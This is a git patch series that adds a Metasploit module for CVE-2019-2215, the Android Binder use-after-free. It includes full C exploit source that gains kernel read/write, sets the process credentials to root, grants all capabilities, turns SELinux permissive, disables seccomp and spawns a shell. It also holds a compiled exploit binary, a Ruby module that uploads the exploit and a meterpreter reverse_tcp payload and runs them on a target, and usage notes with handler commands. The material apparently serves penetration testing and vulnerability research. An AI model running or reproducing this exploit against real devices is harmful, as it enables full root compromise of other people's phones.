From a5a3e2898405e6e68d4873fa6ee14d72dd6b7379 Mon Sep 17 00:00:00 2001 From: Tim W Date: Thu, 17 Oct 2019 18:37:56 +0800 Subject: [PATCH 1/2] Initial commit of CVE-2019-2215 Android Binder Use-After-Free --- data/exploits/CVE-2019-2215/exploit | Bin 0 -> 14360 bytes .../source/exploits/CVE-2019-2215/Android.mk | 11 + .../source/exploits/CVE-2019-2215/Makefile | 15 + .../source/exploits/CVE-2019-2215/README.md | 12 + external/source/exploits/CVE-2019-2215/poc.c | 379 ++++++++++++++++++ modules/exploits/android/local/binder_uaf.rb | 68 ++++ 6 files changed, 485 insertions(+) create mode 100755 data/exploits/CVE-2019-2215/exploit create mode 100644 external/source/exploits/CVE-2019-2215/Android.mk create mode 100644 external/source/exploits/CVE-2019-2215/Makefile create mode 100644 external/source/exploits/CVE-2019-2215/README.md create mode 100644 external/source/exploits/CVE-2019-2215/poc.c create mode 100644 modules/exploits/android/local/binder_uaf.rb diff --git a/data/exploits/CVE-2019-2215/exploit b/data/exploits/CVE-2019-2215/exploit new file mode 100755 index 0000000000000000000000000000000000000000..62d405160a05f491adbba56cb7dac95e03701f49 GIT binary patch literal 14360 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

6{65BD&VXjG{7>ekLErca|Qrd0n zSJT^bop7tt;ySeTzLz_SJPIHjN|obR7tt0)ug-6(y<&hq!9_-+F8`3?i$ zQ{g)b%parlC(}j~iEhVG+N=%`_-@K3CCGP7bQK@pE#bQr&bu09N0}8b@x2oQDJcf; z7wMiRrCD|+jw(ltHz=CVHF}lYc$Kq%&J`^FGnb>QVe$?TVlit=8M8?v#--Vg?Q!D)}n6R#98mSX14&RHL(qu$D|{siie_HI0pxS}2AOX&R1d%qZYG zZ?)H_RYcP1Zu6$9D&4*c?%k41ZiyKtKF8s6Y$zG8N+**se7wUga$CQqVX593_BD2e zY8&gimMvShw9cpxH&)jg)q1CH)YdmNG<1dPyDGnw?O1GETw7YZw63PBrqO5A))?VB zqtOt%QVMkLsk!m&Uw5{5ie!i%1h2R(W!rSG6faS)`+T_Cs&+j=}2 zg5xBN;zpvNE{RhO{>O>tH=63`qcNpozwfZQBl8T?bf=BxFxD^p{lozlRC(b%b3=jt zurkE?{4dbI34Hs;qb4wJkIkz&#xSZA8OPF96zrEoR=y=S|?~qXMLWB*D0L! zd0pY0*Aa-xq{3lRw4+3GH0$%c%sGzIWa9W)j`OdBOLIQcJnwU^+3JGgC*K^ug5{Y9 zRgv|19pb!K39^6I=lX90pY&HLIbPQ|=XH?uX)P?&r+e8H7q7#G>w(6BL532q>zrqR zIraJXP@KmvV-i~FC)2gl8Eoq{g)AM5iz>?L*f%I`l!WMX~J{{<+OSwH{# ym1 +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define BINDER_THREAD_EXIT 0x40046208ul +// NOTE: we don't cover the task_struct* here; we want to leave it uninitialized +#define BINDER_THREAD_SZ 0x190 +#define IOVEC_ARRAY_SZ (BINDER_THREAD_SZ / 16) //25 +#define WAITQUEUE_OFFSET 0xA0 +#define IOVEC_INDX_FOR_WQ (WAITQUEUE_OFFSET / 16) //10 + +void hexdump_memory(unsigned char *buf, size_t byte_count) { + unsigned long byte_offset_start = 0; + if (byte_count % 16) + errx(1, "hexdump_memory called with non-full line"); + for (unsigned long byte_offset = byte_offset_start; byte_offset < byte_offset_start + byte_count; + byte_offset += 16) { + char line[1000]; + char *linep = line; + linep += sprintf(linep, "%08lx ", byte_offset); + for (int i=0; i<16; i++) { + linep += sprintf(linep, "%02hhx ", (unsigned char)buf[byte_offset + i]); + } + linep += sprintf(linep, " |"); + for (int i=0; i<16; i++) { + char c = buf[byte_offset + i]; + if (isalnum(c) || ispunct(c) || c == ' ') { + *(linep++) = c; + } else { + *(linep++) = '.'; + } + } + linep += sprintf(linep, "|"); + puts(line); + } +} + +int epfd; + +void *dummy_page_4g_aligned; +unsigned long current_ptr; +int binder_fd; + +void leak_task_struct(void) +{ + struct epoll_event event = { .events = EPOLLIN }; + if (epoll_ctl(epfd, EPOLL_CTL_ADD, binder_fd, &event)) err(1, "epoll_add"); + + struct iovec iovec_array[IOVEC_ARRAY_SZ]; + memset(iovec_array, 0, sizeof(iovec_array)); + + iovec_array[IOVEC_INDX_FOR_WQ].iov_base = dummy_page_4g_aligned; /* spinlock in the low address half must be zero */ + iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 0x1000; /* wq->task_list->next */ + iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = (void *)0xDEADBEEF; /* wq->task_list->prev */ + iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = 0x1000; + + int b; + + int pipefd[2]; + if (pipe(pipefd)) err(1, "pipe"); + if (fcntl(pipefd[0], F_SETPIPE_SZ, 0x1000) != 0x1000) err(1, "pipe size"); + static char page_buffer[0x1000]; + //if (write(pipefd[1], page_buffer, sizeof(page_buffer)) != sizeof(page_buffer)) err(1, "fill pipe"); + + pid_t fork_ret = fork(); + if (fork_ret == -1) err(1, "fork"); + if (fork_ret == 0){ + /* Child process */ + prctl(PR_SET_PDEATHSIG, SIGKILL); + sleep(2); + printf("CHILD: Doing EPOLL_CTL_DEL.\n"); + epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event); + printf("CHILD: Finished EPOLL_CTL_DEL.\n"); + // first page: dummy data + if (read(pipefd[0], page_buffer, sizeof(page_buffer)) != sizeof(page_buffer)) err(1, "read full pipe"); + close(pipefd[1]); + printf("CHILD: Finished write to FIFO.\n"); + + exit(0); + } + //printf("PARENT: Calling READV\n"); + ioctl(binder_fd, BINDER_THREAD_EXIT, NULL); + b = writev(pipefd[1], iovec_array, IOVEC_ARRAY_SZ); + printf("writev() returns 0x%x\n", (unsigned int)b); + // second page: leaked data + if (read(pipefd[0], page_buffer, sizeof(page_buffer)) != sizeof(page_buffer)) err(1, "read full pipe"); + //hexdump_memory((unsigned char *)page_buffer, sizeof(page_buffer)); + + printf("PARENT: Finished calling READV\n"); + int status; + if (wait(&status) != fork_ret) err(1, "wait"); + + current_ptr = *(unsigned long *)(page_buffer + 0xe8); + printf("current_ptr == 0x%lx\n", current_ptr); +} + +void clobber_addr_limit(void) +{ + struct epoll_event event = { .events = EPOLLIN }; + if (epoll_ctl(epfd, EPOLL_CTL_ADD, binder_fd, &event)) err(1, "epoll_add"); + + struct iovec iovec_array[IOVEC_ARRAY_SZ]; + memset(iovec_array, 0, sizeof(iovec_array)); + + unsigned long second_write_chunk[] = { + 1, /* iov_len */ + 0xdeadbeef, /* iov_base (already used) */ + 0x8 + 2 * 0x10, /* iov_len (already used) */ + current_ptr + 0x8, /* next iov_base (addr_limit) */ + 8, /* next iov_len (sizeof(addr_limit)) */ + 0xfffffffffffffffe /* value to write */ + }; + + iovec_array[IOVEC_INDX_FOR_WQ].iov_base = dummy_page_4g_aligned; /* spinlock in the low address half must be zero */ + iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 1; /* wq->task_list->next */ + iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = (void *)0xDEADBEEF; /* wq->task_list->prev */ + iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = 0x8 + 2 * 0x10; /* iov_len of previous, then this element and next element */ + iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_base = (void *)0xBEEFDEAD; + iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len = 8; /* should be correct from the start, kernel will sum up lengths when importing */ + + int socks[2]; + if (socketpair(AF_UNIX, SOCK_STREAM, 0, socks)) err(1, "socketpair"); + if (write(socks[1], "X", 1) != 1) err(1, "write socket dummy byte"); + + pid_t fork_ret = fork(); + if (fork_ret == -1) err(1, "fork"); + if (fork_ret == 0){ + /* Child process */ + prctl(PR_SET_PDEATHSIG, SIGKILL); + sleep(2); + printf("CHILD: Doing EPOLL_CTL_DEL.\n"); + epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event); + printf("CHILD: Finished EPOLL_CTL_DEL.\n"); + if (write(socks[1], second_write_chunk, sizeof(second_write_chunk)) != sizeof(second_write_chunk)) + err(1, "write second chunk to socket"); + exit(0); + } + ioctl(binder_fd, BINDER_THREAD_EXIT, NULL); + struct msghdr msg = { + .msg_iov = iovec_array, + .msg_iovlen = IOVEC_ARRAY_SZ + }; + int recvmsg_result = recvmsg(socks[0], &msg, MSG_WAITALL); + printf("recvmsg() returns %d, expected %lu\n", recvmsg_result, + (unsigned long)(iovec_array[IOVEC_INDX_FOR_WQ].iov_len + + iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len + + iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len)); +} + +int kernel_rw_pipe[2]; +void kernel_write(unsigned long kaddr, void *buf, unsigned long len) { + errno = 0; + if (len > 0x1000) errx(1, "kernel writes over PAGE_SIZE are messy, tried 0x%lx", len); + if (write(kernel_rw_pipe[1], buf, len) != len) err(1, "kernel_write failed to load userspace buffer"); + if (read(kernel_rw_pipe[0], (void*)kaddr, len) != len) err(1, "kernel_write failed to overwrite kernel memory"); +} +void kernel_read(unsigned long kaddr, void *buf, unsigned long len) { + errno = 0; + if (len > 0x1000) errx(1, "kernel reads over PAGE_SIZE are messy, tried 0x%lx", len); + if (write(kernel_rw_pipe[1], (void*)kaddr, len) != len) err(1, "kernel_read failed to read kernel memory"); + if (read(kernel_rw_pipe[0], buf, len) != len) err(1, "kernel_read failed to write out to userspace"); +} +unsigned long kernel_read_ulong(unsigned long kaddr) { + unsigned long data; + kernel_read(kaddr, &data, sizeof(data)); + return data; +} +unsigned long kernel_read_uint(unsigned long kaddr) { + unsigned int data; + kernel_read(kaddr, &data, sizeof(data)); + return data; +} +void kernel_write_ulong(unsigned long kaddr, unsigned long data) { + kernel_write(kaddr, &data, sizeof(data)); +} +void kernel_write_uint(unsigned long kaddr, unsigned int data) { + kernel_write(kaddr, &data, sizeof(data)); +} + +// Linux localhost 4.4.177-g83bee1dc48e8 #1 SMP PREEMPT Mon Jul 22 20:12:03 UTC 2019 aarch64 +// data from `pahole` on my own build with the same .config +#define OFFSET__task_struct__mm 0x520 +#define OFFSET__task_struct__cred 0x790 +#define OFFSET__mm_struct__user_ns 0x300 +#define OFFSET__uts_namespace__name__version 0xc7 +// SYMBOL_* are relative to _head; data from /proc/kallsyms on userdebug +#define SYMBOL__init_user_ns 0x202f2c8 +#define SYMBOL__init_task 0x20257d0 +#define SYMBOL__init_uts_ns 0x20255c0 + +#define OFFSET__task_struct__thread_info__flags 0 +#define SYMBOL__selinux_enforcing 0x23ce4a8 // Grant: recovered using droidimg+miasm + +int main(void) { + printf("Starting POC\n"); + //pin_to(0); + + dummy_page_4g_aligned = mmap((void*)0x100000000UL, 0x2000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); + if (dummy_page_4g_aligned != (void*)0x100000000UL) + err(1, "mmap 4g aligned"); + if (pipe(kernel_rw_pipe)) err(1, "kernel_rw_pipe"); + + binder_fd = open("/dev/binder", O_RDONLY); + epfd = epoll_create(1000); + leak_task_struct(); + clobber_addr_limit(); + + setbuf(stdout, NULL); + printf("should have stable kernel R/W now\n"); + + /*size_t readsize = 0x1000;*/ + /*void* readbuf = malloc(readsize);*/ + /*kernel_read(current_ptr, readbuf, readsize);*/ + /*hexdump_memory(readbuf, readsize);*/ + + /*in case you want to do stuff with the creds, to show that you can get them:*/ + unsigned long current_mm = kernel_read_ulong(current_ptr + OFFSET__task_struct__mm); + printf("current->mm == 0x%lx\n", current_mm); + unsigned long current_user_ns = kernel_read_ulong(current_mm + OFFSET__mm_struct__user_ns); + printf("current->mm->user_ns == 0x%lx\n", current_user_ns); + unsigned long kernel_base = current_user_ns - SYMBOL__init_user_ns; + printf("kernel base is 0x%lx\n", kernel_base); + if (kernel_base & 0xfffUL) errx(1, "bad kernel base (not 0x...000)"); + unsigned long init_task = kernel_base + SYMBOL__init_task; + printf("&init_task == 0x%lx\n", init_task); + unsigned long init_task_cred = kernel_read_ulong(init_task + OFFSET__task_struct__cred); + printf("init_task.cred == 0x%lx\n", init_task_cred); + unsigned long my_cred = kernel_read_ulong(current_ptr + OFFSET__task_struct__cred); + printf("current->cred == 0x%lx\n", my_cred); + + unsigned long my_uid = my_cred + 4; + unsigned long my_suid = my_uid + 8; + unsigned long my_euid = my_uid + 16; + unsigned long my_fsuid = my_uid + 24; + unsigned long uid = kernel_read_ulong(my_uid); + printf("uid == 0x%lx\n", uid); + kernel_write_ulong(my_uid, 0); + unsigned long suid = kernel_read_ulong(my_suid); + printf("suid == 0x%lx\n", suid); + kernel_write_ulong(my_suid, 0); + unsigned long euid = kernel_read_ulong(my_euid); + printf("euid == 0x%lx\n", euid); + kernel_write_ulong(my_euid, 0); + unsigned long fsuid = kernel_read_ulong(my_fsuid); + printf("fsuid == 0x%lx\n", fsuid); + kernel_write_ulong(my_fsuid, 0); + + if (getuid() != 0) { + printf("Something went wrong changing our UID to root!\n"); + exit(1); + } + + + // reset securebits + kernel_write_uint(my_cred+0x24, 0); + + // change capabilities to everything (perm, effective, bounding) + for (int i = 0; i < 3; i++) + kernel_write_ulong(my_cred+0x30 + i*8, 0x3fffffffffUL); + + printf("Capabilities set to ALL\n"); + +#if 0 + // Grant: this was a failed attempt of just changing my SELinux SID to init's (sid = 7) + // It was "working", but my process's pty would hang, so I couldnt interact with a shell + // From here I just disabled SELinux + + // change SID to init + for (int i = 0; i < 2; i++) + kernel_write_uint(current_cred_security + i*4, 1); + printf("[+] before 2\n"); + kernel_write_uint(current_cred_security + 0, 1); + printf("[+] before 3\n"); + kernel_write_uint(current_cred_security + 8, 7); + + kernel_write_ulong(current_cred_security, 0x0100000001UL); + + kernel_write_uint(current_cred_security + 8, 7); + printf("[+] SID -> init (7)\n"); +#endif + + // Grant: was checking for this earlier, but it's not set, so I moved on + // printf("PR_GET_NO_NEW_PRIVS %d\n", prctl(PR_GET_NO_NEW_PRIVS, 0, 0, 0, 0)); + + unsigned int enforcing = kernel_read_uint(kernel_base + SYMBOL__selinux_enforcing); + + printf("SELinux status = %u\n", enforcing); + + if (enforcing) { + printf("Setting SELinux to permissive\n"); + kernel_write_uint(kernel_base + SYMBOL__selinux_enforcing, 0); + } else { + printf("SELinux is already in permissive mode\n"); + } + + // Grant: We want to be as powerful as init, which includes mounting in the global namespace + printf("Re-joining the init mount namespace...\n"); + int fd = open("/proc/1/ns/mnt", O_RDONLY); + + if (fd < 0) { + perror("open"); + exit(1); + } + + if (setns(fd, CLONE_NEWNS) < 0) { + perror("setns"); + exit(1); + } + + printf("Re-joining the init net namespace...\n"); + + fd = open("/proc/1/ns/net", O_RDONLY); + + if (fd < 0) { + perror("open"); + exit(1); + } + + if (setns(fd, CLONE_NEWNET) < 0) { + perror("setns"); + exit(1); + } + + // Grant: SECCOMP isn't enabled when running the poc from ADB, only from app contexts + if (prctl(PR_GET_SECCOMP) != 0) { + printf("Disabling SECCOMP\n"); + + // Grant: we need to clear TIF_SECCOMP from task first, otherwise, kernel WARN + // clear the TIF_SECCOMP flag and everything else :P (feel free to modify this to just clear the single flag) + // arch/arm64/include/asm/thread_info.h:#define TIF_SECCOMP 11 + kernel_write_ulong(current_ptr + OFFSET__task_struct__thread_info__flags, 0); + kernel_write_ulong(current_ptr + OFFSET__task_struct__cred + 0xa8, 0); + kernel_write_ulong(current_ptr + OFFSET__task_struct__cred + 0xa0, 0); + + if (prctl(PR_GET_SECCOMP) != 0) { + printf("Failed to disable SECCOMP!\n"); + exit(1); + } else { + printf("SECCOMP disabled!\n"); + } + } else { + printf("SECCOMP is already disabled!\n"); + } + + /*kernel_read(my_cred, readbuf, readsize);*/ + /*hexdump_memory(readbuf, readsize);*/ + + system("/system/bin/sh -i"); + + /*unsigned long init_uts_ns = kernel_base + SYMBOL__init_uts_ns;*/ + /*char new_uts_version[] = "EXPLOITED KERNEL";*/ + /*kernel_write(init_uts_ns + OFFSET__uts_namespace__name__version, new_uts_version, sizeof(new_uts_version));*/ +} diff --git a/modules/exploits/android/local/binder_uaf.rb b/modules/exploits/android/local/binder_uaf.rb new file mode 100644 index 0000000000..1337120bde --- /dev/null +++ b/modules/exploits/android/local/binder_uaf.rb @@ -0,0 +1,68 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Post::Common + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info={}) + super( update_info( info, { + 'Name' => "Android Binder Use-After-Free Exploit", + 'Description' => %q{ + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Jann Horn', # discovery and exploit + 'Maddie Stone', # discovery and exploit + 'grant-h', # Qu1ckR00t + 'timwr', # metasploit module + ], + 'References' => [ + [ 'CVE', '2019-2215' ], + [ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1942' ], + [ 'URL', 'https://hernan.de/blog/2019/10/15/tailoring-cve-2019-2215-to-achieve-root/' ], + [ 'URL', 'https://github.com/grant-h/qu1ckr00t/blob/master/native/poc.c' ], + ], + 'DisclosureDate' => "Sep 26 2019", + 'SessionTypes' => [ 'meterpreter' ], + 'Platform' => [ "android", "linux" ], + 'Arch' => [ ARCH_AARCH64 ], + 'Targets' => [[ 'Auto', {} ]], + 'DefaultOptions' => + { + 'PAYLOAD' => 'linux/aarch64/meterpreter/reverse_tcp', + 'WfsDelay' => 5, + }, + 'DefaultTarget' => 0, + } + )) + end + + def upload_and_chmodx(path, data) + write_file path, data + chmod(path) + register_file_for_cleanup(path) + end + + def exploit + local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2019-2215", "exploit" ) + exploit_data = File.read(local_file, {:mode => 'rb'}) + + workingdir = session.fs.dir.getwd + exploit_file = "#{workingdir}/.#{Rex::Text::rand_text_alpha_lower(5)}" + upload_and_chmodx(exploit_file, exploit_data) + payload_file = "#{workingdir}/.#{Rex::Text::rand_text_alpha_lower(5)}" + upload_and_chmodx(payload_file, generate_payload_exe) + + print_status("Executing exploit '#{exploit_file}'") + result = cmd_exec("echo '#{payload_file} &' | #{exploit_file}") + print_status("Exploit result:\n#{result}") + end +end + From ef8ec13c8853aa93ad10738bb2bfbc95e449f1ad Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Sun, 23 Feb 2020 01:04:30 -0800 Subject: [PATCH 2/2] added module docs and testing notes --- .../exploit/android/local/binder_uaf.md | 40 +++++++++++++++++++ 1 file changed, 40 insertions(+) create mode 100644 documentation/modules/exploit/android/local/binder_uaf.md diff --git a/documentation/modules/exploit/android/local/binder_uaf.md b/documentation/modules/exploit/android/local/binder_uaf.md new file mode 100644 index 0000000000..d767f32ebc --- /dev/null +++ b/documentation/modules/exploit/android/local/binder_uaf.md @@ -0,0 +1,40 @@ +## Vulnerable Application + +This exploit module currently targets a very specific build of Android on specific set of hardware targets: + + - Google Pixel 2 or Pixel XL 2 phones running the September 2019 security patch level. + +This exploit module would have to be retargeted for any other potentially vulnerable build or hardware target. + +One difficult issue with the Google Pixel 2 is that, while many Google phones have an unlocked bootloader, making it easy to download older Android revisions, the latest Pixel 2 updates show this feature has been disabled or broken [older revisions to the device firmware](https://developers.google.com/android/images). This may be a firmware bug or intentional, but Google themselves do not appear to have an answer [for the problem](https://support.google.com/pixelphone/thread/14920605?hl=en). For testing, you may need a phone never updated to a later Android revision. + +## Verification Steps + + - Get an android meterpreter session on a Pixel 2 or Pixel XL 2 with the right kernel: + + `msfconsole -qx "use exploit/multi/handler; set payload android/meterpreter/reverse_tcp; set lhost $LHOST; set lport 4444; set ExitOnSession false; run -j` + + - Currently this only works on the Pixel 2 (and Pixel 2 XL) with september 2019 Security patch level. Validate the kernel version looks like this: + +``` +uname -a +Linux localhost 4.4.177-g83bee1dc48e8 #1 SMP PREEMPT Mon Jul 22 20:12:03 UTC 2019 aarch64 +``` + + - Run the exploit: + +``` +msf5 exploit(multi/handler) > use exploit/android/local/binder_uaf +msf5 exploit(android/local/binder_uaf) > set LHOST IPADDR +msf5 exploit(android/local/binder_uaf) > set LPORT 4448 (different from your Android meterpreter port) +LPORT => 4448 +msf5 exploit(android/local/binder_uaf) > set SESSION -1 +SESSION => -1 +msf5 exploit(android/local/binder_uaf) > run +``` + + - **Verify** the new session can read and write private application data (in /data/data/..../) + +## Scenarios + +This module illustrates a privesc that, when chained with other exploit vectors, could turn an unprivileged sandboxed exploit into a sandbox escape and system compromise. Note that the target application may need to match the kernel CPU type, so for instance a 64-bit Chrome would need to be targeted with a 64-bit kernel.